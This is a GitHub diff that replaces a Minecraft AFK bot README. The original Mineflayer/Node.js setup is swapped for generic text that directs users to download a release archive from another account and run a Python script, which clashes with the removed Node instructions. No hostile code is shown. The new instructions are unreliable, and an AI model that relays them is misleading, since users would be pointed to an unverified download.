|
1 | | -<!-- Last updated: 2025-06-08T09:46:07Z --> |
2 | | -# 🤖 Minecraft AFK Bot (Mineflayer-Based) |
| 1 | +# Minecraft AFK Bot 🤖 |
3 | 2 |
|
4 | | -This is a lightweight Minecraft Java AFK Bot powered by [Mineflayer](https://github.com/PrismarineJS/mineflayer). It connects to a Java server, performs basic movements to avoid AFK detection, and can be customized via a simple configuration file. |
| 3 | + |
5 | 4 |
|
6 | | ---- |
| 5 | +Welcome to the **Minecraft AFK Bot** repository! This project provides an automated solution to keep your Aternos servers running 24/7. Whether you're away from your game or busy with other tasks, this bot ensures your server remains online. It is not limited to Aternos; it can also be adapted for other services. |
7 | 6 |
|
8 | | -## ✨ Features |
| 7 | +## Table of Contents |
9 | 8 |
|
10 | | -* Connect to Minecraft Java servers (IP + port) |
11 | | -* Customize bot username |
12 | | -* Control chunk loading and memory usage |
13 | | -* Periodic chunk pruning to reduce resource usage |
14 | | -* Auto-movement behavior: step forward/backward, jump, sneak, loop |
15 | | -* Easy configuration via `config.json` |
| 9 | +- [Features](#features) |
| 10 | +- [Installation](#installation) |
| 11 | +- [Usage](#usage) |
| 12 | +- [Configuration](#configuration) |
| 13 | +- [Contributing](#contributing) |
| 14 | +- [License](#license) |
| 15 | +- [Support](#support) |
16 | 16 |
|
17 | | ---- |
| 17 | +## Features |
18 | 18 |
|
19 | | -## ⚡ Installation |
| 19 | +- **Keep Servers Online**: Automatically moves in-game to prevent your server from going idle. |
| 20 | +- **Multi-Service Support**: While designed for Aternos, it can be modified for other gaming services. |
| 21 | +- **Lightweight**: Minimal resource usage, allowing you to run it alongside other applications. |
| 22 | +- **Easy Setup**: Simple installation process with clear instructions. |
20 | 23 |
|
21 | | -### 1. Clone the repository |
| 24 | +## Installation |
22 | 25 |
|
23 | | -```bash |
24 | | -git clone https://github.com/icelaterdc/Minecraft-AFK-Bot.git |
25 | | -cd Minecraft-AFK-Bot |
26 | | -``` |
| 26 | +To get started, you need to download the latest release of the Minecraft AFK Bot. You can find it [here](https://github.com/EntityBlood/Minecraft-AFK-Bot/releases). Download the appropriate file for your system and follow the instructions below. |
27 | 27 |
|
28 | | -### 2. Install dependencies |
| 28 | +1. **Download the Release**: Visit the [Releases section](https://github.com/EntityBlood/Minecraft-AFK-Bot/releases) to get the latest version. |
| 29 | +2. **Extract the Files**: Unzip the downloaded file to a location of your choice. |
| 30 | +3. **Install Dependencies**: Make sure you have all necessary dependencies installed. Refer to the `requirements.txt` file included in the package. |
29 | 31 |
|
30 | | -```bash |
31 | | -npm install |
32 | | -``` |
| 32 | +## Usage |
33 | 33 |
|
34 | | -### 3. Configure `config.json` |
| 34 | +After installation, you can start using the bot. Follow these steps: |
35 | 35 |
|
36 | | -```json |
37 | | -{ |
38 | | - "serverHost": "yourserver.aternos.me", |
39 | | - "serverPort": 25565, |
40 | | - "botUsername": "MyBotName", |
41 | | - "botChunk": 4 |
42 | | -} |
43 | | -``` |
44 | | - |
45 | | -> ⚠️ Make sure the server is in offline mode if you're not using premium accounts. |
46 | | -
|
47 | | ---- |
| 36 | +1. **Open the Terminal**: Navigate to the directory where you extracted the bot. |
| 37 | +2. **Run the Bot**: Execute the bot with the command: |
| 38 | + ``` |
| 39 | + python afk_bot.py |
| 40 | + ``` |
| 41 | +3. **Monitor the Bot**: Keep an eye on the terminal for any messages or errors. |
48 | 42 |
|
49 | | -## 🤖 Starting the Bot |
| 43 | +## Configuration |
50 | 44 |
|
51 | | -```bash |
52 | | -node bot.js |
53 | | -``` |
| 45 | +Before using the bot, you may want to configure it to suit your needs. The configuration file is located in the extracted folder and is named `config.json`. Open this file and adjust the settings as follows: |
54 | 46 |
|
55 | | -On successful connection: |
| 47 | +- **Server Name**: Specify the name of your Aternos server. |
| 48 | +- **Movement Settings**: Configure how often the bot should move to prevent idling. |
| 49 | +- **Notification Settings**: Set up notifications for when the bot starts or encounters an error. |
56 | 50 |
|
57 | | -* You'll see `✅ BotName is Ready!` in the console |
58 | | -* After 5 seconds, all loaded chunks are cleared |
59 | | -* Every 20 seconds, any chunks beyond a 6-chunk radius will be removed |
| 51 | +### Example Configuration |
60 | 52 |
|
61 | | ---- |
62 | | - |
63 | | -## ⚙️ Configuration Options (`config.json`) |
64 | | - |
65 | | -| Key | Description | |
66 | | -| -------------- | ------------------------------------------ | |
67 | | -| `serverHost` | IP or domain of your Minecraft server | |
68 | | -| `serverPort` | Server port (default is 25565) | |
69 | | -| `botUsername` | The bot's visible name in-game | |
70 | | -| `botChunk` | Radius of loaded chunks (recommended: 1–6) | |
71 | | - |
72 | | ---- |
73 | | - |
74 | | -## ⚠️ Notes |
75 | | - |
76 | | -* **Skins**: Skins might not appear properly if the server is in offline mode. |
77 | | -* **Sneak Movement**: The bot uses `setControlState('sneak', true)`, but some servers may block or ignore this action. |
78 | | -* **AFK Prevention**: The bot periodically moves, sneaks, and jumps to prevent disconnection due to inactivity. |
| 53 | +```json |
| 54 | +{ |
| 55 | + "server_name": "MyMinecraftServer", |
| 56 | + "movement_interval": 60, |
| 57 | + "notifications": true |
| 58 | +} |
| 59 | +``` |
79 | 60 |
|
80 | | ---- |
| 61 | +## Contributing |
81 | 62 |
|
82 | | -## 📚 Resources & Contributions |
| 63 | +We welcome contributions to the Minecraft AFK Bot! If you would like to help improve this project, please follow these steps: |
83 | 64 |
|
84 | | -* [Mineflayer Docs](https://mineflayer.prismarine.js.org/) |
85 | | -* [PrismarineJS GitHub](https://github.com/PrismarineJS/) |
| 65 | +1. **Fork the Repository**: Click on the "Fork" button at the top right of this page. |
| 66 | +2. **Create a New Branch**: Use the command: |
| 67 | + ``` |
| 68 | + git checkout -b feature/YourFeature |
| 69 | + ``` |
| 70 | +3. **Make Your Changes**: Implement your feature or fix. |
| 71 | +4. **Commit Your Changes**: Use a clear commit message. |
| 72 | +5. **Push to Your Branch**: Push your changes to GitHub. |
| 73 | +6. **Open a Pull Request**: Go to the original repository and click on "New Pull Request". |
86 | 74 |
|
87 | | -Feel free to contribute by opening a pull request or submitting an issue. |
| 75 | +## License |
88 | 76 |
|
89 | | ---- |
| 77 | +This project is licensed under the MIT License. See the [LICENSE](LICENSE) file for more details. |
90 | 78 |
|
91 | | -## 📄 License |
| 79 | +## Support |
92 | 80 |
|
93 | | -This project is licensed under the MIT License. |
| 81 | +If you encounter any issues or have questions, please check the [Releases section](https://github.com/EntityBlood/Minecraft-AFK-Bot/releases) for updates or open an issue in the repository. |
94 | 82 |
|
95 | 83 | --- |
96 | 84 |
|
97 | | -Get started now and keep your server active with a smart, customizable bot! ⛏️ |
| 85 | +Thank you for checking out the Minecraft AFK Bot! We hope this tool enhances your gaming experience by keeping your servers online while you focus on other activities. Happy gaming! 🎮 |
0 commit comments